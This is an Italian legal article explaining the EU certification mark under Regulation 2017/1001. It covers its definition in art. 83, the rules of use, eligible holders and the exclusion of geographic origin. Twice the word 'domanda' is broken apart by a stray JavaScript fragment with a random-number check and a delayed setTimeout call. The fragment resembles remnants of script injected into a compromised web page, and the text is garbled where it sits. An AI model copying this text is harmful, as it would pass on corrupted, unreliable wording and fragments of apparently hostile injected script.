Novità legislative - 7 Marzo 2018

Il Marchio di Certificazione

Il nuovo Regolamento UE 2017/1001, con l’entrata in vigore delle modifiche apportate al regolamento sul marchio comunitario (reg. (CE) 2009/2017), ha introdotto nuove tipologie di marchi europei, tra i quali il “marchio di certificazione”, già presente in alcuni sistemi giuridici nazionali.

L’obiettivo del legislatore comunitario è stato quello di integrare le attuali disposizioni in materia di marchi collettivi comunitari e correggere lo squilibrio tra i sistemi nazionali e il sistema del marchio UE.

Le disposizioni sul marchio di certificazione sono contenute nel Capo VIII RMUE e completate dall’art. 17 REMUE.

In particolare, l’art. 83 par. 1 RMUE definisce tali marchi come “idonei a distinguere i prodotti o i servizi certificati dal titolare del marchio in relazione al materiale, al procedimento di fabbricazione dei prodotti o alla prestazione del servizio, alla qualità, alla precisione o ad altre caratteristiche, ad eccezione della provenienza geografica, da prodotti e servizi non certificati”.

Tale marchio è utilizzato, quindi, per indicare che i prodotti o i servizi sono conformi ai requisiti di certificazione di un ente titolare o un’organizzazione di certificazione e costituiscono, pertanto, un segno di qualità approvato.

Nello specifico, i prodotti e i servizi, a cui viene riferito il marchio, devono essere conformi alle indicazioni riportate nei regolamenti d’uso e controllate sotto la responsabilità del titolare del marchio.

I regolamenti d’uso devono essere depositati entro due mesi dalla domandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anda e devono contenere, in particolare, l’indicazione delle persone abilitate ad utilizzare il marchio, le caratteristiche che il marchio deve certificare, nonché le modalità̀ di verifica delle caratteristiche e di sorveglianza dell’uso del marchio. Il regolamento deve indicare, altresì, le condizioni di uso del marchio, comprese le sanzioni.

Qualsiasi persona fisica o giuridica può presentare domandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anda di marchio di certificazione ed esserne titolare, ivi compresi “istituzioni, autorità e organismi di diritto pubblico”, ai sensi dell’art. 83, par. 2, RMUE.

Occorre tuttavia precisare che un marchio di certificazione non può essere registrato da un soggetto che svolga un’attività che comporti la fornitura di prodotti e servizi del tipo certificato. Al titolare di un marchio di certificazione, pertanto, è precluso l’utilizzo del marchio per i prodotti o i servizi certificati.

Inoltre, come precisato dall’art. 83, par. 2, RMUE, tale marchio non può essere depositato al fine di distinguere prodotti o servizi certificati sulla base dell’origine geografica.

In conclusione, con il marchio di certificazione un determinato organismo o istituto di certificazione potrà permettere ad altri soggetti di utilizzare il marchio, come segno di qualità, per prodotti o i servizi che soddisfino i requisiti di certificazione.

di Caterina Vivaldi 

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